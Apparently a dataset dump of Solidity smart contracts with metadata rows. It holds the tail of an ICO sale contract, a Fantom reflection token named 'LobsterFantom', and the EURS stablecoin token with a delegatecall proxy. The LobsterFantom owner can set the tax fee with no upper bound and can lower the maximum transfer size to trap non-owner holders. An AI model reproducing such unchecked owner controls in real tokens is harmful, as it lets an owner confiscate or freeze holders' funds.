// Contribution is stored for an potential withdraw
contributors[msg.sender] = contributors[msg.sender].add(ethToUse);
// Send back the unused ethers
if (ethToUse < ethSent) {
msg.sender.transfer(ethSent.sub(ethToUse));
}
// Log token transfer operation
Transfer(0x0, msg.sender, tokenToSend);
}
// Allow contributors to withdraw after the end of the ICO if the softcap hasn't been reached
function withdraw() public inStateRound2Finished {
// Only contributors with positive ETH balance could Withdraw
if(contributors[msg.sender] == 0) { revert(); }
// Withdraw is possible only if softcap has not been reached
require(etherRaisedDuringICO < softCap);
// Get how much ethers sender has contribute
uint256 ethToSendBack = contributors[msg.sender];
// Set contribution to 0 for the contributor
contributors[msg.sender] = 0;
// Send back ethers
msg.sender.transfer(ethToSendBack);
// Log withdraw operation
Withdraw(msg.sender, ethToSendBack);
}
// At the end of the sale, mint the aside tokens for the reserve, community and founders
function mintAsideTokens() public onlyOwner inStateRound2Finished {
// Reserve, community and founders address have to be set before mint aside tokens
require((reserveAddress != 0x0) && (communityAddress != 0x0) && (vestedAddress != 0x0));
// Aside tokens can be minted only if softcap is reached
require(this.balance >= softCap);
// Revert if aside tokens have already been minted
if (asideTokensHaveBeenMinted) { revert(); }
// Set minted flag and date
asideTokensHaveBeenMinted = true;
asideTokensMintDate = now;
// If 100M sold, 50M more have to be mint (15 / 10 = * 1.5 = +50%)
totalSupply = tokensSold.mul(15).div(10);
// 20% of total supply is allocated to reserve
uint256 _amountMinted = setAllocation(reserveAddress, RESERVE_ALLOCATION_PER_MILLE_RATIO);
// 10.3% of total supply is allocated to community
_amountMinted = _amountMinted.add(setAllocation(communityAddress, COMMUNITY_ALLOCATION_PER_MILLE_RATIO));
// 3% of total supply is allocated to founders
_amountMinted = _amountMinted.add(setAllocation(vestedAddress, FOUNDERS_ALLOCATION_PER_MILLE_RATIO));
// to avoid that, we correct the real total number of tokens
totalSupply = tokensSold.add(_amountMinted);
// Send the eth to the owner of the contract
owner.transfer(this.balance);
}
function setTokenAsideAddresses(address _reserveAddress, address _communityAddress, address _founderAddress) public onlyOwner {
require(_reserveAddress != 0x0 && _communityAddress != 0x0 && _founderAddress != 0x0);
// Revert when aside tokens have already been minted
if (asideTokensHaveBeenMinted) { revert(); }
reserveAddress = _reserveAddress;
communityAddress = _communityAddress;
vestedAddress = _founderAddress;
}
function updateCapsAndRate(uint _presaleCapInETH, uint _round1CapInETH, uint _softCapInETH, uint _rateETH_BCDT) public onlyOwner inStateInit {
// Caps and rate are updatable until ICO starts
require(_round1CapInETH > _presaleCapInETH);
require(_rateETH_BCDT != 0);
presaleCap = _presaleCapInETH * 1 ether;
round1Cap = _round1CapInETH * 1 ether;
softCap = _softCapInETH * 1 ether;
rateETH_BCDT = _rateETH_BCDT;
}
function getRemainingEthersForCurrentRound() public constant returns (uint) {
require(currentState != State.Init);
require(!asideTokensHaveBeenMinted);
if((currentState == State.PresaleRunning) || (currentState == State.PresaleFinished)) {
// Presale cap is fixed in ETH
return presaleCap.sub(etherRaisedDuringICO);
}
if((currentState == State.Round1Running) || (currentState == State.Round1Finished)) {
// Round 1 cap is fixed in ETH
return round1Cap.sub(etherRaisedDuringICO);
}
if((currentState == State.Round2Running) || (currentState == State.Round2Finished)) {
// Round 2 cap is limited in tokens,
uint256 remainingTokens = totalSupply.sub(tokensSold);
// ETH available is calculated from the number of remaining tokens regarding the rate
return remainingTokens.div(rateETH_BCDT);
}
}
function getBCDTRateForCurrentRound() public constant returns (uint) {
require(currentState == State.PresaleRunning || currentState == State.Round1Running || currentState == State.Round2Running);
// ETH/BCDT rate during presale: 20% bonus
if(currentState == State.PresaleRunning) {
return rateETH_BCDT + rateETH_BCDT * 20 / 100;
}
// ETH/BCDT rate during presale: 10% bonus
if(currentState == State.Round1Running) {
return rateETH_BCDT + rateETH_BCDT * 10 / 100;
}
if(currentState == State.Round2Running) {
return rateETH_BCDT;
}
}
function setState(State _newState) public onlyOwner {
privateSetState(_newState);
}
function privateSetState(State _newState) private {
// no way to go back
if(_newState <= currentState) { revert(); }
currentState = _newState;
StateChanged(now, currentState);
}
function getEndedStateForCurrentRound() private constant returns (State) {
require(currentState == State.PresaleRunning || currentState == State.Round1Running || currentState == State.Round2Running);
if(currentState == State.PresaleRunning) {
return State.PresaleFinished;
}
if(currentState == State.Round1Running) {
return State.Round1Finished;
}
if(currentState == State.Round2Running) {
return State.Round2Finished;
}
}
function setAllocation(address _to, uint _ratio) private onlyOwner returns (uint256) {
// Aside token is a percentage of totalSupply
uint256 tokenAmountToTransfert = totalSupply.mul(_ratio).div(1000);
balances[_to] = balances[_to].add(tokenAmountToTransfert);
AsideTokensHaveBeenAllocated(_to, tokenAmountToTransfert);
Transfer(0x0, _to, tokenAmountToTransfert);
return tokenAmountToTransfert;
}
}
| 199,680 | 527 |
ade783c6edc95e6bc142528db8a3f64855314c625911b490c86e7855b181f15f
| 20,743 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c3/c371AFC908D7c68aB96Ffc4b504B6c2DB5ceCc0b_LobsterFantom.sol
| 5,192 | 18,704 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract LobsterFantom is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 250000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Lobster Fantom';
string private constant _symbol = 'LOBSTER';
uint256 private _taxFee = 500;
uint256 private _burnFee = 0;
uint public max_tx_size = 250000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x0b3e64031Da03714458b04A14588367cF4f9181B, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 322,919 | 528 |
e2014d714e9dc9a0a74d4b7288f1abf1b5a7fe38988615983f58d5436402c013
| 25,901 |
.sol
|
Solidity
| false |
303732004
|
makerdao/deployed-collateral-contracts
|
6a1811ab2aa6dc9a2c54cc1497fed4ed9370000c
|
src/greenlit/EURS/EURS.sol
| 3,628 | 13,195 |
// https://etherscan.io/address/0xdb25f211ab05b1c97d595516f45794528a807ad8#code
pragma solidity ^0.4.20;
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
function safeSub (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
function safeMul (uint256 x, uint256 y)
pure internal
returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
contract Token {
function totalSupply () public view returns (uint256 supply);
function balanceOf (address _owner) public view returns (uint256 balance);
function transfer (address _to, uint256 _value)
public payable returns (bool success);
function transferFrom (address _from, address _to, uint256 _value)
public payable returns (bool success);
function approve (address _spender, uint256 _value)
public payable returns (bool success);
function allowance (address _owner, address _spender)
public view returns (uint256 remaining);
event Transfer (address indexed _from, address indexed _to, uint256 _value);
event Approval (address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () public {
// Do nothing
}
function balanceOf (address _owner) public view returns (uint256 balance) {
return accounts [_owner];
}
function transfer (address _to, uint256 _value)
public payable returns (bool success) {
uint256 fromBalance = accounts [msg.sender];
if (fromBalance < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom (address _from, address _to, uint256 _value)
public payable returns (bool success) {
uint256 spenderAllowance = allowances [_from][msg.sender];
if (spenderAllowance < _value) return false;
uint256 fromBalance = accounts [_from];
if (fromBalance < _value) return false;
allowances [_from][msg.sender] =
safeSub (spenderAllowance, _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (fromBalance, _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value)
public payable returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
function allowance (address _owner, address _spender)
public view returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) internal accounts;
mapping (address => mapping (address => uint256)) internal allowances;
}
contract EURSToken is AbstractToken {
uint256 constant internal FEE_DENOMINATOR = 100000;
uint256 constant internal MAX_FEE_NUMERATOR = FEE_DENOMINATOR;
uint256 constant internal MIN_FEE_NUMERATIOR = 0;
uint256 constant internal MAX_TOKENS_COUNT =
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff /
MAX_FEE_NUMERATOR;
uint256 constant internal DEFAULT_FEE = 5e2;
uint256 constant internal BLACK_LIST_FLAG = 0x01;
uint256 constant internal ZERO_FEE_FLAG = 0x02;
modifier delegatable {
if (delegate == address (0)) {
require (msg.value == 0); // Non payable if not delegated
_;
} else {
assembly {
// Save owner
let oldOwner := sload (owner_slot)
// Save delegate
let oldDelegate := sload (delegate_slot)
// Solidity stores address of the beginning of free memory at 0x40
let buffer := mload (0x40)
// Copy message call data into buffer
calldatacopy (buffer, 0, calldatasize)
// Lets call our delegate
let result := delegatecall (gas, oldDelegate, buffer, calldatasize, buffer, 0)
// Check, whether owner was changed
switch eq (oldOwner, sload (owner_slot))
case 1 {} // Owner was not changed, fine
default {revert (0, 0) } // Owner was changed, revert!
// Check, whether delegate was changed
switch eq (oldDelegate, sload (delegate_slot))
case 1 {} // Delegate was not changed, fine
default {revert (0, 0) } // Delegate was changed, revert!
// Copy returned value into buffer
returndatacopy (buffer, 0, returndatasize)
// Check call status
switch result
case 0 { revert (buffer, returndatasize) } // Call failed, revert!
default { return (buffer, returndatasize) } // Call succeeded, return
}
}
}
function EURSToken (address _feeCollector) public {
fixedFee = DEFAULT_FEE;
minVariableFee = 0;
maxVariableFee = 0;
variableFeeNumerator = 0;
owner = msg.sender;
feeCollector = _feeCollector;
}
function () public delegatable payable {
revert (); // Revert if not delegated
}
function name () public delegatable view returns (string) {
return "STASIS EURS Token";
}
function symbol () public delegatable view returns (string) {
return "EURS";
}
function decimals () public delegatable view returns (uint8) {
return 2;
}
function totalSupply () public delegatable view returns (uint256) {
return tokensCount;
}
function balanceOf (address _owner)
public delegatable view returns (uint256 balance) {
return AbstractToken.balanceOf (_owner);
}
function transfer (address _to, uint256 _value)
public delegatable payable returns (bool) {
if (frozen) return false;
else if ((addressFlags [msg.sender] | addressFlags [_to]) & BLACK_LIST_FLAG ==
BLACK_LIST_FLAG)
return false;
else {
uint256 fee =
(addressFlags [msg.sender] | addressFlags [_to]) & ZERO_FEE_FLAG == ZERO_FEE_FLAG ?
0 :
calculateFee (_value);
if (_value <= accounts [msg.sender] &&
fee <= safeSub (accounts [msg.sender], _value)) {
require (AbstractToken.transfer (_to, _value));
require (AbstractToken.transfer (feeCollector, fee));
return true;
} else return false;
}
}
function transferFrom (address _from, address _to, uint256 _value)
public delegatable payable returns (bool) {
if (frozen) return false;
else if ((addressFlags [_from] | addressFlags [_to]) & BLACK_LIST_FLAG ==
BLACK_LIST_FLAG)
return false;
else {
uint256 fee =
(addressFlags [_from] | addressFlags [_to]) & ZERO_FEE_FLAG == ZERO_FEE_FLAG ?
0 :
calculateFee (_value);
if (_value <= allowances [_from][msg.sender] &&
fee <= safeSub (allowances [_from][msg.sender], _value) &&
_value <= accounts [_from] &&
fee <= safeSub (accounts [_from], _value)) {
require (AbstractToken.transferFrom (_from, _to, _value));
require (AbstractToken.transferFrom (_from, feeCollector, fee));
return true;
} else return false;
}
}
function approve (address _spender, uint256 _value)
public delegatable payable returns (bool success) {
return AbstractToken.approve (_spender, _value);
}
function allowance (address _owner, address _spender)
public delegatable view returns (uint256 remaining) {
return AbstractToken.allowance (_owner, _spender);
}
function delegatedTransfer (address _to, uint256 _value, uint256 _fee,
uint256 _nonce, uint8 _v, bytes32 _r, bytes32 _s)
public delegatable payable returns (bool) {
if (frozen) return false;
else {
address _from = ecrecover (keccak256 (thisAddress (), messageSenderAddress (), _to, _value, _fee, _nonce),
_v, _r, _s);
if (_nonce != nonces [_from]) return false;
if ((addressFlags [_from] | addressFlags [_to]) & BLACK_LIST_FLAG ==
BLACK_LIST_FLAG)
return false;
uint256 fee =
(addressFlags [_from] | addressFlags [_to]) & ZERO_FEE_FLAG == ZERO_FEE_FLAG ?
0 :
calculateFee (_value);
uint256 balance = accounts [_from];
if (_value > balance) return false;
balance = safeSub (balance, _value);
if (fee > balance) return false;
balance = safeSub (balance, fee);
if (_fee > balance) return false;
balance = safeSub (balance, _fee);
nonces [_from] = _nonce + 1;
accounts [_from] = balance;
accounts [_to] = safeAdd (accounts [_to], _value);
accounts [feeCollector] = safeAdd (accounts [feeCollector], fee);
accounts [msg.sender] = safeAdd (accounts [msg.sender], _fee);
Transfer (_from, _to, _value);
Transfer (_from, feeCollector, fee);
Transfer (_from, msg.sender, _fee);
return true;
}
}
function createTokens (uint256 _value)
public delegatable payable returns (bool) {
require (msg.sender == owner);
if (_value > 0) {
if (_value <= safeSub (MAX_TOKENS_COUNT, tokensCount)) {
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokensCount = safeAdd (tokensCount, _value);
Transfer (address (0), msg.sender, _value);
return true;
} else return false;
} else return true;
}
function burnTokens (uint256 _value)
public delegatable payable returns (bool) {
require (msg.sender == owner);
if (_value > 0) {
if (_value <= accounts [msg.sender]) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
tokensCount = safeSub (tokensCount, _value);
Transfer (msg.sender, address (0), _value);
return true;
} else return false;
} else return true;
}
function freezeTransfers () public delegatable payable {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
function unfreezeTransfers () public delegatable payable {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
function setOwner (address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
function setFeeCollector (address _newFeeCollector)
public delegatable payable {
require (msg.sender == owner);
feeCollector = _newFeeCollector;
}
function nonce (address _owner) public view delegatable returns (uint256) {
return nonces [_owner];
}
function setFeeParameters (uint256 _fixedFee,
uint256 _minVariableFee,
uint256 _maxVariableFee,
uint256 _variableFeeNumerator) public delegatable payable {
require (msg.sender == owner);
require (_minVariableFee <= _maxVariableFee);
require (_variableFeeNumerator <= MAX_FEE_NUMERATOR);
fixedFee = _fixedFee;
minVariableFee = _minVariableFee;
maxVariableFee = _maxVariableFee;
variableFeeNumerator = _variableFeeNumerator;
FeeChange (_fixedFee, _minVariableFee, _maxVariableFee, _variableFeeNumerator);
}
function getFeeParameters () public delegatable view returns (uint256 _fixedFee,
uint256 _minVariableFee,
uint256 _maxVariableFee,
uint256 _variableFeeNumnerator) {
_fixedFee = fixedFee;
_minVariableFee = minVariableFee;
_maxVariableFee = maxVariableFee;
_variableFeeNumnerator = variableFeeNumerator;
}
function calculateFee (uint256 _amount)
public delegatable view returns (uint256 _fee) {
require (_amount <= MAX_TOKENS_COUNT);
_fee = safeMul (_amount, variableFeeNumerator) / FEE_DENOMINATOR;
if (_fee < minVariableFee) _fee = minVariableFee;
if (_fee > maxVariableFee) _fee = maxVariableFee;
_fee = safeAdd (_fee, fixedFee);
}
function setFlags (address _address, uint256 _flags)
public delegatable payable {
require (msg.sender == owner);
addressFlags [_address] = _flags;
}
function flags (address _address) public delegatable view returns (uint256) {
return addressFlags [_address];
}
function setDelegate (address _delegate) public {
require (msg.sender == owner);
if (delegate != _delegate) {
delegate = _delegate;
Delegation (delegate);
}
}
function thisAddress () internal view returns (address) {
return this;
}
function messageSenderAddress () internal view returns (address) {
return msg.sender;
}
address internal owner;
address internal feeCollector;
uint256 internal tokensCount;
bool internal frozen;
mapping (address => uint256) internal nonces;
uint256 internal fixedFee;
uint256 internal minVariableFee;
uint256 internal maxVariableFee;
uint256 internal variableFeeNumerator;
mapping (address => uint256) internal addressFlags;
address internal delegate;
event Freeze ();
event Unfreeze ();
event FeeChange (uint256 fixedFee,
uint256 minVariableFee,
uint256 maxVariableFee,
uint256 variableFeeNumerator);
event Delegation (address delegate);
}
| 264,326 | 529 |
6da86d286cb7cc69578358b40b5adfc19281f58aa0029f060bda0b4acf2d1515
| 17,354 |
.sol
|
Solidity
